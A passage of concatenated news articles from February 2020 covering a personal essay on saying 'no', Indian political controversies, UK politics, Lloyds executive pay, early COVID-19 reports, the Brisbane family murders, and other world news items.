unexpectedly, the principal listened to our plea and dismissed that unfit teacher from our school. This was quite a radical act in 1961. It took our class six months of suffering in a non-educational classroom before we took action. But we had to say no to a figure of authority who was not fulfilling her responsibility. The fight against social injustice often requires a brave "No." Rosa Parks (1914-2005) comes to mind. In 1955, in Montgomery, Alabama, she refused to give up her seat in the bus in the colored section to a white man when the whites-only section was full. She was arrested for violating Alabama's segregation laws. Her brave "no" to that unfair, unjust law ignited and inspired the black community to boycott the Montgomery buses for a year. Parks' act of defiance and the Montgomery bus boycott became important symbols of the civil rights movement, leading to the signing of the Civil Rights Act into law by President Lyndon B. Johnson in 1964. It was a great turning point for human rights for all in the United States. We cannot forget the Holocaust, the killing of millions of Jews and others by Hitler's Germany during the Second World War. Who said no to this cruel treatment of fellow human beings? Who was brave enough to save their lives? I am reading "Book Thief" by the Australian author Marcus Zusak, a novel about the coming of age of Liesel Meminger in Nazi Germany. After her brother's death on a train, Liesel arrives at the home of her new foster parents, Hans and Rosa Hubermann. They conceal a Jewish man named Max Vandenburg whose father saved Hans during the Great War. Liesel begins to rescue books from Nazi bonfires, and reads them to Max. Max in turn teaches Liesel how to write a story. Stealing books from the mayor's wife while collecting laundry for her foster mother becomes her routine. During one of the bombings on her street, Liesel loses all her family and neighbors. She survives because she is in the basement writing her story, "Book Thief." In this novel within a novel, we encounter brave Hans, a German who says "no" to the killing of Jews. We often see cases of social injustice in the criminal justice system. Sometimes innocent people get life sentences or worse for crimes they did not commit. A few years ago our second daughter, Jane, volunteered to work pro bono to help a prisoner locked up in a New York prison for life. Wonder of wonders, her team's investigation revealed that he had been wrongfully convicted for a crime he never committed. I don't know all the details but my genius litigation lawyer managed to get the prisoner a new trial and proved him innocent. He is now a free man. I am thrilled to be the mother of a woman who said "no" to a legal system that worked against a guiltless man. Environmentally speaking, we all need to say no to plastics, and any item that doesn't get recycled. Each day, let's carry our own mug and avoid using styrofoam cups. Twice a week, when I join my pottery group, I always bring a porcelain cup to drink my coffee. My friends are now gradually doing the same thing. Let's bring bags to supermarkets and avoid plastic bags. Let's carry a water bottle for refills rather than buying water in plastic containers. Let's reuse, recycle and restore things rather than quickly disposing of them. My Rotary Club in Bal Harbour, Florida recently received a district grant to sponsor a "Say No to Drugs" campaign for students growing up with the temptations of the drug culture. We will be visiting the school on the day teachers conduct the school-wide educational program. Say no to smoking. Say no to sweets. Say no to another bottle of beer when you need to drive home. And say no to extra responsibility you cannot handle. And don't forget what Pythagoras said about those two little words. Hyon O'Brien (hyonobrien@gmail.com) is a former reference librarian now living in the United States. A woman in China has called the police 16 times falsely claiming that her boyfriend was infected with the coronavirus because the man had failed to apologise to her after an argument. The 39-year-old, known by her surname Ma, told officers in Tainjin that her boyfriend had been coughing and having fever before leaving their shared flat. She was detained last week after admitting that she had lied to the police in order to teach her boyfriend a lesson. The suspect said that she was acting under the influence of alcohol while calling the police. The case was revealed by the police of Wuqing, a district of Tianjin, through their social media account on Saturday. According to an official post, Ms Ma called the police at the Hexiwu Police Station more than a dozen times on Wednesday. She said she had downed a large volume of distilled rice wine and argued with her boyfriend, who subsequently left home. She claimed her partner had been coughing non-stop and sustaining high fever since the night before. Police found her boyfriend, Mr Wang, at one of his friends house shortly afterwards. Mr Wang did not show any symptoms when the officers met him. The police then arranged medical checks for him and he was found to be healthy. Ms Ma then confessed that she decided to make false accusations to seek revenge because her boyfriend had not said sorry to her and that the next day would be the Valentines Day. Ms Ma was detained by police on suspicion of making false claims to police and disturbing social order. Originating in the central Chinese city of Wuhan, the new coronavirus known as COVID-19 has infected more than 74,000 people inside China. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates By PTI AURANGABAD: The All India Majlis-e- Ittehad-ul-Muslimeen (AIMIM) will seek explanation from its leader Waris Pathan over his alleged '15 crore Muslims can be heavy on 100 crore' remark he recently made in Karnataka, a party leader said here on Friday. Pathan had made the purported remarks while addressing an anti-Citizenship (Amendment) Act (CAA) rally at Kalaburagi in North Karnataka on February 16. "We have to move together. We have to take Azadi (freedom), things that we don't get by asking, we have to take it by force, remember it. (We may be) 15 crore, but are heavy on 100 (crore), remember it," Pathan can be heard purportedly saying in a video of his speech that has gone viral. Talking to reporters here, AIMIM's Maharashtra unit chief and Aurangabad MP Imtiyaz Jaleel said, "Our party does not support the statement made by Waris Pathan. The party will seek an explanation from him over the remarks. If needed, we will come out with a set of dos and don'ts for the party workers to be followed while giving speech." "BJP leaders Anurag Thakur and Yogi Adityanath had also given some hateful statements, but none questioned them about it," Jaleel added. On Thursday, a young woman had raised "Pakistan Zindabad" slogan in Bengaluru during a protest against CAA, NRC andR, where AIMIM chief Asaduddin Owaisi was also present. Owaisi had denounced her action. Talking about the incident, Jaleel said, "That event was not organised by the AIMIM. It was organised by JD(S) and leaders of all parties were there. Asaduddin Owaisi stopped the woman and also condemned her act. But it is being projected that it was AIMIM's stage." ALSO READ| Waris Pathan's 'hate speech': BJYM worker files complaint against AIMIM leader Meanwhile, the BJP and the Raj Thackeray-led Maharashtra Navnirman Sena (MNS) held protests in Aurangabad against Pathan, seeking stern action against him. The BJP protested in Gulmandi area and burnt an effigy of Pathan. "Waris Pathan has hurt the feelings of 100 crore people. He has tried to divide the people of the country. The state government should take action against him and send him out of Mumbai," BJP MLA Atul Save said. The MNS took out a symbolic funeral procession of Pathan and raised slogans against the AIMIM. "The language of Waris Pathan was disgusting. He should be banned from giving public speeches in the state and also be arrested," MNS leader Prakash Mahajan said. THE boss of Lloyds took a 2million pay cut last year amid mounting speculation that his days at the bank are numbered. Portuguese banker Antonio Horta-Osorio, who joined Lloyds as chief executive in 2011, pocketed 4.7million last year 128 times the pay of his average employee. This was down from 6.5million in 2018 and a peak of 11.5million in 2014. Portuguese banker Antonio Horta-Osorio (pictured with wife Ana), who joined Lloyds as chief executive in 2011, pocketed 4.7million last year 128 times the pay of his average employee The 56-year-old is no longer Britain's best-paid banking boss, losing his throne to Barclays' Jes Staley, who bagged 5.9million for 2019. Over his nine years at the bank, Horta-Osorio has raked in a massive 56.4million. In that time, shareholders, including 2.4m individual savers, have seen the stock price slip by more than 6 per cent. There was little to cheer yesterday as Lloyds revealed its profits slumped by 33 per cent last year to 3billion. The bank was hit by another 2.5billion bill for the mis-selling of payment protection insurance taking the total cost of the scandal to 22billion at Lloyds alone. Chatter in the City indicates the clock may be ticking for Horta-Osorio, who has divided opinion with his handling of the PPI crisis and redress for victims of crooks at HBOS in Reading, though neither scandal happened on his watch. One City source suggested it was time for new blood, while analysts said they would be surprised to see Horta-Osorio hang on for much more than a year. Ian Gordon, a banking analyst at Investec, said: 'Lloyds has made slight progress under Horta-Osorio in terms of its underlying performance. 'The share price has gone nowhere, mainly due to PPI. It was he who held up the white flag and took responsibility, but then he thought the cost would be 3billion not 22billion. So whether that was a good idea or not is up for debate. 'I think he may stay for one or two years. He's been in situ longer than most chief executives so I think it would be surprising if he stayed much longer.' Joe Dickerson, at broker Jefferies, added: 'His body language seems committed for the next couple of years, but any more would be a stretch.' Even Horta-Osorio was non-committal on staying in his role past the end of 2020, when his current three-year strategy comes to an end. When asked whether he would remain for more than a year, he said: 'I enjoy the job. I like the people here at Lloyds. There are still things to do. And I am absolutely committed to seeing through the current strategy and nothing has changed. 'We still have one year to go [on the current three-year strategy]. We are very pleased with the results of the first two years but we are not complacent.' Horta-Osorio has been a controversial figure during his time at the bank. On the one hand, he was credited with smoothly steering Lloyds out of government ownership following its 20.3billion taxpayer bailout in the financial crisis. And he helped change the brutal culture of British banking when he took an eight-week leave of absence in 2011 after suffering from mental health problems and exhaustion. But his tenure has not been a hit with former customers of the Reading branch of HBOS, the troubled bank which Lloyds bought in 2008. The scandal saw six bankers and advisers convicted of fraud in 2017 after scamming business customers out of 245million and using the money to pay for prostitutes and luxury holidays. Lloyds paid out 102million in compensation to 71 customers. A report published in December found that its redress scheme had 'serious shortcomings'. Horta-Osorio was left red-faced by the findings, apologising to victims and promising to reassess their compensation. The bank has also been hit harder by PPI claims than its competitors, and had to set aside 22billion to cover the costs. But the bank boss was upbeat about the UK's prospects for the year ahead. He said: 'With a new majority government in place, and the UK having left the EU, there is a clearer sense of direction and some signs of gradually improving economic indicators.' Home Office 1) Tories defend Patel over bullying allegations Senior Tories have defended Priti Patel after she was accused of bullying civil servants to the point of collapse over the failure to deport Jamaican criminals. The Home Secretary is said to rule her department by belittling officials, making unreasonable demands and creating an atmosphere of fear. Business minister Nadhim Zahawi has now jumped to her defence, insisting Ms Patel was utterly professional and works day and night According to the Times, Ms Patel had held a heated meeting with one senior Home Office official who later collapsed. She is said to have confronted them after the High Court blocked the deportation of 25 foreign criminals to Jamaica. The Sun She has bullied civil servants for years, former colleagues say The Times Rage at officials dragging their feet on tougher action against XR Daily Mail Top civil servant accused of obstructing Home Secretaries Daily Telegraph Comment: Lets hear it for the civil servants, they deserve more support Salma Shah, Times Red Box Home Office 2) Carlaw to lobby Johnson over immigration plans Jackson Carlaw has insisted the UK Governments controversial immigration blueprint was a work in progress amid intense Scottish Tory anger about the plans. The Scottish Conservative leader said he would discuss the proposal to all but end low skilled immigration when he meets the Prime Minister shortly and claimed it had not been fully understood. But he pointedly failed to endorse the current plan, instead stating that he hoped the final version would be appropriate to Scotland. In a clear sign of the tension between the UK and Scottish Tories on the issue, he also welcomed aspects of a paper unveiled by Nicola Sturgeon that proposed a separate Scottish visa. Daily Telegraph Immigration rules post-Brexit could fuel modern slavery, say charities The Guardian Serco wins contract to run immigration detention centres FT Windrush review drops claim HO is institutionally racist The Times More: SNP attack Brown over warning about Scotlands divisions Daily Express Comment: Bercow is wrong Brexit is not the final nail in the UKs coffin Alan Cochrane, Daily Telegraph >Yesterday: Henry Hills Red, White, and Blue column: Carlaw kicks off comprehensive policy review to take the fight to the SNP Fraser Nelson: Care homes wont like it, but weve come to the end of cheap labour Spare a thought for the managers of British care homes. Priti Patels new immigration rules, they say, will hit them hard because theyll struggle to find staff to take such crucially important jobs for a derisory level of pay. Mario Kreft, who built a personal fortune from care homes, summed it up earlier this week. The way fees are calculated, he said, means that it is possible to earn more stacking shelves in a supermarket than it is to provide social care for our loved ones. Precisely. Its a scandal. And one the Tories wish to remedy. You can hear similar complaints from around the country made most loudly by employers who have not yet worked out that the era of low wages is coming to a long-overdue end. Daily Telegraph Conservatives immigration plan puts ideology before economics Tim Kibasi, The Guardian >Yesterday: ToryDiary: The new points-based immigration system gives ministers a lot of room for manoeuvre MPs threaten to rebel if fuel duty freeze ends Boris Johnson has been warned that he faces a backbench rebellion if he uses the budget to raise fuel duty. The Treasury is understood to be looking at ending the present freeze either this year or next to send a signal of the governments intent to tackle climate change. But a group of Tory MPs including those in new Conservative red wall seats are preparing to write to Rishi Sunak, the chancellor, warning of the electoral danger of reversing the prime ministers election pledge. Mr Johnson said he had no intention to raise duty but has come under pressure from his advisers, including Dominic Cummings, to end the freeze on duty that has lasted almost a decade Robert Halfon, the Conservative MP for Harlow, said that such a move would betray working class voters. The Times Chancellor urged to reform stamp duty and get country moving again Daily Telegraph Comment: Bluecollar voters will bear brunt Robert Halfon MP, The Times For the peoples sake Johnson must drop fuel duty hike Quentin Willson, The Sun Pensions tax relief on a slippery slope Merryn Somerset Webb, FT >Today: Chris Bullivant in Comment: If free market and social conservatives find common ground, they could be unstoppable Nanny State 1) Eustice announces ban on coal for home fires The sale of bags of coal and wet wood for domestic fires will be banned in England from February next year under plans to remove a huge source of air pollution. Ministers will announce today that the most polluting fuels will be phased out completely by 2023 in a victory for The Timess Clean Air for All campaign Mr Eustice said he recognised that many people cherished their cosy open fires and wood-burning stoves but they needed to switch to cleaner fuels, such as wood that had been kiln- dried to below 20 per cent moisture; wood left for at least two years to air dry; and coal-based fuel with low smoke and sulphur emissions. New rules on manufactured solid fuels will require producers to prove they have a very low sulphur content and emit only very little smoke. The Times Fears are raised that pollution move will hit rural homes Daily Telegraph Comment: Fixing our boilers will dwarf cost of HS2 Ed Conway, The Times >Yesterday: George Trefgarne in Comment: The Prime Minister is hovering in a holding pattern above Heathrow Nanny State 2) Politicians call for supermarkets to put sweets on top shelf to tackle childhood obesity Supermarkets should put unhealthy snacks like sweets on the top shelf to tackle childhood obesity, politicians have demanded. They said No10 should also consider creating tough new laws that could make buy one get one free offers on junk food illegal. They also called for trolleys to be divided up into different compartments to encourage Brits to shop healthier. And they said chains like Sainsburys and Tesco should lay shuttle buses to ferry people stuck in food deserts to their nearest supermarket. The all party parliamentary group on healthy childhoods came up with the wacky proposals as they lashed supermarkets for sacrificing healthy choices on the altar of profit. The Sun Ministers complaining about Cummings should shut up or resign, says former Chief Whip Ministers should stop whingeing about Dominic Cummings because they owe their jobs to him, a former Conservative Chief Whip has said. In a rare intervention, Lord Blencathra told The Telegraph on Thursday that ministers opposed to Mr Cummings should resign from the Government and make way for those who see the bigger picture. Last weeks reshuffle prompted a backlash from some ministers and Tory MPs about Mr Cummings, the Prime Ministers chief aide, and his handling of special advisers. Reports emerged of ministers calling on Boris Johnson to rein in Mr Cummings and claiming that half the Cabinet feel unable to work with him. Daily Telegraph Chief of Staff suggested NHS should pay to create babies with higher IQs The Sun Comment: Cummings has become his own worst enemy Iain Martin, The Times If he continues to be the story, he will not last till summer Sir Anthony Seldon, Times Red Box Paterson amongst senior Tories attacking Government over Huawei Senior Tory MPs have demanded ministers act on deadly serious warnings from the US that the involvement of Huawei in the construction of the UKs 5G network will put intelligence sharing at risk. Owen Paterson, the former Cabinet minister, said the governments attitude to the Chinese tech giant was incomprehensible given White House opposition to using the firm. Mr Paterson is one of many Conservative MPs who are urging Downing Street to reverse its backing for Huawei and his intervention came after Donald Trumps acting chief of staff had crunch talks on the issue in Number 10 today Washington has urged its allies not to do business with Huawei due to security concerns. But Huawei has always denied that it poses a security risk. Daily Mail >Yesterday: Ziya Meral in Comment: It is time for a British Security Conference Blair says Labour must avoid cul-de-sac of identity politics Tony Blair has warned the next Labour leader against becoming trapped in a cul-de-sac of identity politics over issues such as transgender rights, as he used an event in London to reiterate his belief that the party must focus on making itself electable again. The former prime minister, who also raised the idea of a possible alliance with the Liberal Democrats as a way to regain power, said the Conservatives would emerge victorious from any battles over contentious cultural issues. Youve got to distinguish between the advocacy of certain things that are right, whether its about gay rights, transgender rights, whatever it is, he said in a Q&A session after a speech to mark the 120th anniversary of the founding of the party. The Guardian Warning comes as as leadership rivals back pledge to expel transphobic members Daily Mail >Today: ToryDiary: Labour will ignore Blairs speech yesterday. But Tories should take note. MPs misusing expense cards, investigation finds Hordes of MPs are trying to use their taxpayer-funded credit card for personal expenses, an investigation has found. All MPs are given a government payment card to fund the running of their office, travel and other work-related costs. But since 2010, 100 MPs have used it to make more than three transactions for personal costs, a report by Parliaments expenses watchdog Ipsa. That amounted to around 473,000 1.25 per cent of the 38 million that was spent on the cards in the last decade. There are 14 MPs whose personal transactions made up more than 15 per cent of their total spending on the card. The expenses watchdog has only contacted five MPs over misuse of their card and none have had their card removed permanently. The Sun Historic England strike blow against plan for temporary Commons The Times EU deadlocked over post-Brexit budget EU leaders were deadlocked over the blocs next multiannual budget after lengthy summit talks on Thursday night laid bare rifts over how to fill the 60bn to 75bn funding gap created by Brexit. Charles Michel, the European Council president, spent much of the night locked in one-to-one talks with leaders as he attempted to end an impasse over the 2021-27 spending plans. However, a rebellion by Germany and other northern European countries over plans to slash rebates they receive on their EU budget contributions overshadowed the discussions. Britains departure has left the EU struggling to finance ambitious policies to fight climate change, aid poorer regions and subsidise farmers without placing heavier burdens on richer northern European countries that have baulked at proposals tabled by Mr Michel so far. FT Dont use Brexit to cut EUs trillion euro budget, warns Macron Daily Telegraph but Merkel hits back with thinly veiled swipe Daily Express >Today: Iain Dales column: Frosts address on Brexit is just as important as were Thatchers words at Bruges News in Brief: Shiv Sena leader Sanjay Raut on Friday said that his party is capable of giving a befitting reply to statements like those made by All India Majlis-E-Ittehadul Muslimeen leader Waris Pathan. "Waris Pathan made a statement that 15 crore Muslims will dominate 100 crore Indians. I warn that Shiv Sena is capable of giving a proper reply to such statements even though we are in the government in Maharashtra," Raut told ANI. Speaking on Asaduddin Owaisi's disowning of pro-Pakistan slogans raised by a woman at an anti-CAA rally in Bengaluru, Raut said: "This is not a matter of disowning someone's slogans. On your stage, if a woman comes and raises a slogan then it means that you have made the environment vitriolic." Earlier, Waris Pathan had said that 15 crore Muslims can dominate 100 crore Hindus. "The time has now come for us to unite and achieve freedom. Remember we are 15 crore but can dominate over 100 crores," said Pathan while addressing an anti-CAA rally at Kalaburagi in Karnataka. "They tell us that we have kept our women in the front - only the lionesses have come out and you are already sweating. You can understand what would happen if all of us come together," he had said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Namita Bajpai By Express News Service LUCKNOW: The UP Sunni Central Waqf Board (UPSCWB), on Friday, accepted the alternative piece of five-acre land allocated by the Uttar Pradesh government on February 5. The land offered by the state government at Dhannipur village in Sohawal tehsil under Raunai township, 20 km away from proper Ayodhya. The Board said it did not have the option to reject the alternative piece of land given to it under the Supreme Court's Ayodhya verdict but it would decide its use at its meeting on Monday. The plot of land is situated Lucknow-Ayodhya highway. Notably, the stand of the UPSCWB is a departure from the stand of All India Muslim Personal Law Board (AIMPLB), the Muslim outfit which had asked the Board to reject the alternative land. In a historic verdict on November 9, last year, the Supreme Court had ruled in favour of the construction of a temple and asked the state government to allocate an alternative five-acre plot to UPSCWB for a mosque. ALSO READ: VHP leaders get prime slots in Ram Teerth Kshetra Trust Soon after the verdict, there were voices from the Muslim side suggesting the board against accepting the land. "Following the Supreme Court verdict, the Sunni Waqf Board does not have the choice of rejecting the five-acre alternative land for the construction of a mosque in Ayodhya as it would amount to contempt of court," said UPSCWB chief Zafur Farooqui. "We had maintained that we will abide by the court verdict on the issue and that is why we did not go in for a review of the apex court verdict on the vexed issue. There has been no shift in our stand even today," he said while interacting with media persons. "But the use of the land given to us by the government will be decided at an all-important- meeting of the board on Monday, he said. "Farooqui said the apex court order clearly stated that the Uttar Pradesh government would allot a plot to the board and 'we had the liberty to build a mosque and associated amenities on it'. It did not say that the board had the liberty of rejecting it," he added. UPSCWB has seven other members along with Farooqui. By Trend President of Turkey Recep Tayyip Erdogan will arrive in Azerbaijan on a one-day visit on February 25, the Presidential Cabinet of the Republic of Turkey told Trend on Feb. 21. Within the framework of the visit, Recep Tayyip Erdogan will take part in a meeting of the Azerbaijan-Turkey High-Level Strategic Cooperation Council. ---- Follow us on Twitter @AzerNewsAz Turkeys most prominent paid advocate for the extradition of exiled cleric Fethullah Gulen has a new gig: Working to ease sanctions on the government of Venezuelas Nicolas Maduro. Amsterdam and Partners will represent Attorney General Reinaldo Munoz Pedroza after Florida-based law firm Foley & Lardner dropped the Venezuelans last month amid a political backlash in Washington. The firm also transferred $1.05 million it had received from Venezuela to Amsterdam, according to a newly disclosed letter to the US Justice Department. Foley & Lardners contract called for the firm to be paid a total of $12.5 million for help delisting parties subject to US economic sanction due to their connections to the republic. The firm was notably tasked with representing Munoz Pedroza in discussions with the Treasury Departments sanctions office. Amsterdam and Partners founder Robert Amsterdam has been paid $2.25 million by Turkey to warn US federal and state officials about the alleged threat posed by Gulen and his network of charter schools since 2015. Ankara blames Gulen for the failed 2016 coup against President Recep Tayyip Erdogan. The Venezuela contract now risks imperiling those efforts. After writing a letter to his colleagues last month urging them to boycott Foley, Sen. Rick Scott, R-Fla., is now taking aim at Amsterdam. In an emailed statement to Al-Monitor, Scotts office said he would refuse to work with anyone in this firm, or anyone that contracts on this matter with this firm, and urged every one of his colleagues to stand with him against anyone who willingly represents a dangerous dictator. In response to Scotts threat, Amsterdam told the Associated Press today that he would not bend to the political dictates of Florida. Ironically, Amsterdam and Scott have a history dating back to Scotts stint as governor of Florida. The firm disclosed three phone calls with the office of then-Florida Attorney General Pam Bondi in mid-2016 to discuss the Gulen schools in the state. Bondi is now a close ally of President Donald Trump. Insight Homes delivers to Code Purple The employees at Insight Homes pull together to help local homeless shelters with supplies. Code Purple Sussex County Empowered by Love INC of Mid-Delmarva, provides emergency nighttime shelter for our homeless neighbors during the winter months at eight locations within Sussex County, DE. Sales Manager, Zachary Jahnigen had recently volunteered at the Georgetown, De location and came back with a challenge for all our employees to help. We set up a sign up site with a mission to collect as many items on the list of Donation items needed posted on the Code Purple website http://www.codepurplesussexcounty.com. In less than two weeks we had nearly the complete list filled, we loaded up several vehicles and headed to Georgetown to meet with Executive Director, Nikki Gonzalez, said Marketing Manager Debbi Brunner. Along with donation items, Code Purple Sussex County is also in need of Volunteers. There are volunteer opportunities at all of the 8 sites within Sussex County, DE. In order for the shelters to remain open each night, there needs to be a volunteer on site, please check out the website at http://www.codepurplesussexcounty.com to see how you can help. Ukrainian riot police run to push protesters, who planned to stop buses carrying passengers evacuated from the Chinese city of Wuhan, outside Novi Sarzhany, Ukraine. Photo: Efrem Lukatsky/AP Ukraine's effort to quarantine more than 70 people evacuated from China over the new virus outbreak plunged into chaos as local residents opposing the move engaged in violent clashes with police. Buses carrying evacuees were finally able to reach the designated place of quarantine after hours of clashes. Earlier yesterday, several hundred residents in Ukraine's Poltava region blocked the road to a sanitarium where the evacuees are to be quarantined because they feared they could become infected. Demonstrators put up road blocks, burned tyres and resisted riot police who moved to clear access. More than 10 people were detained, and Interior Minister Arsen Avakov personally visited the site of the protests to try to calm the crowd down. Mr Avakov urged the protesters "not to fall for provocations and be understanding of the necessity for these temporary measures". "The situation is rather heated," Poltava regional police spokesman Yuri Sulayev said. Ukrainian President Volodymyr Zelensky weighed in, saying the protests showed "not the best side of our character". He tried to reassure people the quarantined evacuees wouldn't pose any danger to residents of the village of Novi Sarzhany. On his Facebook page, Mr Zelensky said the people evacuated from China are healthy and will live in a closed medical centre run by the National Guard in the village as a precaution. "In the next two weeks it will probably be the most guarded facility in the country," Mr Zelensky said. But municipal representatives in the village vowed to continue opposing the evacuation, saying the sanitarium's sewage system is linked to the one in the village. We can't allow putting the health and life of local residents at risk, and demand that top officials take urgent moves to prevent people from China from being put here," they said in a statement. Amid the clashes between local residents and police, Ukraine's Prime Minister Oleksiy Honcharuk said he would immediately fly to the site to oversee matters. A plane with 45 Ukrainians and 27 foreign nationals had taken off from Wuhan, the epicentre of the outbreak that has infected more than 75,000 people worldwide and killed more than 2,100. Those evacuated included people from Belarus, Kazakhstan, Argentina, Ecuador, Costa Rica, the Dominican Republic, Panama and other countries. The plane stopped in Kazakhstan to drop off Kazakh passengers. Later, it sought to land in Kharkiv, a city in northeastern Ukraine, but could not due to bad weather conditions. Instead it flew to Kiev to refuel, and eventually arrived in Kharkiv. A tow truck operator removes a car from the scene of a car fire which claimed the lives of a man and his three children in Brisbane, Feb. 19, 2020. (AAP Image/Dan Peled) Brisbane Familys Death Was Murder: Police The Brisbane mother killed when her estranged partner set fire to her car didnt believe she had been a victim of domestic violence because he didnt hit her. A Brisbane mother and her three children who died when her estranged husband set fire to her car were murdered, police say. Two days after the tragedy, Queensland Police Commissioner Katarina Carroll confirmed police are treating their deaths as murder. This is a shocking tragedy which has affected the whole community, Carroll said. Our thoughts are particularly with the family and loved ones. The death shortly after of their killer, Rowan Baxter, is not being treated as suspicious. Hannah did not believe she was the victim of domestic violence, a friend says, despite a domestic violence order in place against her estranged husband. The couple had been separated for months after Hannah left the family home and took daughters Aaliyah, 6, and Laianah, 4, and son Trey, 3, to her parents house in nearby Camp Hill. I work in domestic violence so when she first confided in me we spoke about the violence and for such a long time she didnt believe she was in a domestic violence relationship, friend Manja Whaley told Nines Today show. It hadnt crossed her mind, because as she said to me, her words, he didnt hit me. I then started unpacking with her the emotional abuse, sexual abuse, financial abuse, and she had experienced all of those. Hannah, Rowan Baxter and their three children Laianah, Aaliyah and Treythe family were involved in a fatal vehicle fire at Camp Hill in Brisbane. Image obtained on Feb. 19, 2020. (AAP Image/Facebook) Hannah, 31, died in hospital on Wednesday night. While setting out on the school run, Baxter approached their SUV and sat in the passenger seat. Exactly what happened next is still being investigated, but a witness reported Hannah jumped out of the car on fire in Raven Street, exclaiming hes poured petrol on me. The children, who were strapped into the back seat, perished in the flames. Baxter is believed to have died from wounds self-inflicted with a knife. Mourners continue to visit the street where the children died to lay floral tributes and pay their respects. A Facebook fundraising page set up by Hannahs sister-in-law Stacey Roberts has so far raised more than $143,000. Queensland Police revealed the former couple had previously been referred to support services, and police had received reports of domestic violence within the family over several months. A Brisbane court granted at least one domestic violence order against Baxter. There was the checking of her accounts on Facebook, the accusations of her cheating she would get dressed and she would be picking up her clothes and he would say things to her like look at your stomach, thats just disgusting,' Whaley said. According to Whaley, who said she has worked in the domestic violence sector for 10 years, Hannah left Baxter on Dec. 5. My hope is that people are more aware of domestic violence just because you havent been beaten doesnt mean that there is no domestic violence, she said. Need support? Call Lifeline 13 11 14 or Beyondblue 1300 22 4636 By Robyn Wuth The Canadian Foreign Ministry's statement on Russia's alleged cyber attacks targeting Georgia's democratic institutions in October 2019 is another Russophobic step, The Russian embassy in Ottawa said. "Another piece of Russophobic lies and fakes spread by Ottawa in concert with Tbilisi and Washington," the message posted on Twitter reads. The embassy thus characterized Canada's policy as "highly deplorable and reprehensible," which is "furtherly degrading already weakened Russia-Canada relations." Earlier, the Canadian Foreign Ministry said that Ottawa joined its allies who likewise accused Moscow of carrying out a series of massive and destructive cyberattacks targeting Georgia. The Russian Foreign Ministry has rejected these accusations stressing that they were unfounded and politically motivated. I was going to find it very difficult to vote for all of that at once, Lay said. The resolution touched not only on school control, but on creating a museum and other measures. He said it would be more effective to break down the resolution into as many as five individual resolutions to address each area of concern. TO FURTHER elevate how women empowerment can change the world for the better, the Zonta Club of Cebu 1 and Cebu 2 will host the District 17, Area 3 meeting for Biennium 2018-2020 on February 21 to February 23, 2020 in Bai Hotel, Mandaue City. The three-day meeting will be attended by 150 delegates coming from the Visayas and Mindanao as well as the District 17 officers, Board and Area Directors from countries like Hong Kong,Thailand, Singapore,Macau and Philippines. Area 3 director, Stella Bernabe, said that Zonta's mission of empowering women through service and advocacy has a thrust of ending violence against women and children (VAWC). The Area 3 meeting, which has the theme "Interact, Innovate and Immerse," will tackle how the different clubs in Visayas and Mindanao can support the fight against VAWC and end early child marriage. Zonta works with community partners like the LGUs, barangays as well as Law, Inc., Pink Center at the Vicente Sotto Memorial Medical Center and the Gullas Medical Center to help address VAWC-related concerns. Several service and advocacy projects that are being undertaken by the respective clubs in Area 3 include a drop-off center for abused women and children and the training of VAWC desk officers through symposiums and training seminars, since they are in the front line to cater to victims of abuse in the barangays. Moral value formation activities are also being initiated to help women not to live life in fear as womens rights are recognized as human rights. The District 17 Area 3 is composed of 11 clubs, the Zonta Clubs (ZC) of Cebu 1 and 2- Presidents Minnie Yuvienco and Marilou Canizares, the Zonta Clubs of Davao 1 and 2 - Presidents Eusebia Bing Delos Reyes and Angelita Ang, the Zonta Clubs of Cagayan de Oro 1 and 2 Presidents Guadalupe Bebot Chu and Virginia Vinny Veloso, Zonta Clubs of Iloilo 1 and 2 Presidents Kristine Chan and Cheryl Lynn Nunez, ZC of Zamboanga- President Rita Ong, ZC of Bacolod President Elsie Gonzaga, and ZC of Tacloban President Elvie Casal. (JOB) Metro Manila (CNN Philippines, February 21) A group of ABS-CBN employees called on President Rodrigo Duterte to take action in the media giants controversial franchise renewal case. In a statement, the ABS-CBN Supervisors Union appealed for the chief executive to mediate in the process, as they are running out of time with Congress still not acting on the pending renewal measures. We, the employees of ABS-CBN Corporation, the biggest and largest media company in the Philippines is appealing to the President to please mediate and be involved on the process of our broadcast franchise renewal that is set to be expired on march 30, 2020, the union said. Our chance of having a continued broadcast operation after our franchise expires is also unclear, despite the opinions and views from different lawmakers and law experts, it added. The union noted a possible shutdown will not only affect the thousands of employees, but their respective families as well. The appeal, however, may be in deep water with Duterte previously slamming ABS-CBN. In an earlier speech, the chief executive said the company will definitely be out this year with its license set to lapse in a month. RELATED: Duterte tells ABS-CBN execs to sell company His remarks reportedly stemmed from the network's alleged failure to run his campaign advertisements during the 2016 elections. A total of eleven bills seeking to renew ABS-CBNs legal mandate remain pending before the House of Representatives, while a counterpart measure has also yet to pass the Senates committee level. The lower chamber has yet to calendar a hearing for the case, citing more urgent measures on the table for lawmakers. The upper chamber, meanwhile, is set to conduct a separate probe on Monday. Some solons earlier allayed concerns over ABS-CBNs looming shutdown, saying the media company can still broadcast news and content once it secures provisional authority from the National Telecommunications Commission. However, some say theres no assurance NTC will grant the permit without Dutertes clearance. Statement of the Chinese Ambassador to Sierra Leone at Embassy's Press Conference on the Prevention and Control of the COVID-19 Outbreak 2020/02/22 Dear friends, ladies and gentlemen, Welcome to todays briefing. First of all, I would like to take this opportunity to express our heartfelt thanks to the Government and people of Sierra Leone for showing strong concern and solidarity with the Chinese side in fighting against the Novel Coronavirus Pneumonia (NCP). H.E. President Maada Bio sent a letter to H.E. President Xi Jinping expressing sympathy and support. Hon. Vice President Dr. Juldeh Jalloh, many ministers, party leadership of SLPP and APC, members of the diplomatic corps as well as friends from all walks of life in Sierra Leone including media friends also expressed their strong support to China. On behalf of the Chinese government and people, I say THANK YOU. The COVID-19 caused pneumonia epidemic is serious. However, its is controllable, treatable and curable. Up to February 19, a total of 74,576 confirmed cases and 4922 existing suspected cases were reported in China, unfortunately, among which there were 2,118 deaths. But fortunately, by now 16,155 patients have been cured and discharged from hospitals. Most of the cases (83%, 62,031) and deaths (95%, 2029) were reported from Hubei Province, the epicentre of the epidemic. Up to now, the total number of confirmed cases in 25 countries or regions outside China is 929, accounting for only 1% of the global total and only 3 deaths were reported. Chinas rapid, rigorous and thorough measures are paying off. Currently, the number of newly confirmed cases in China is declining. The case mortality rate has been kept at around 2.7 percent nationwide, and 0.8 percent outside Hubei province. The peoples war against the COVID-19 is now at a decisive stage in China. We are expecting the turning point to come at 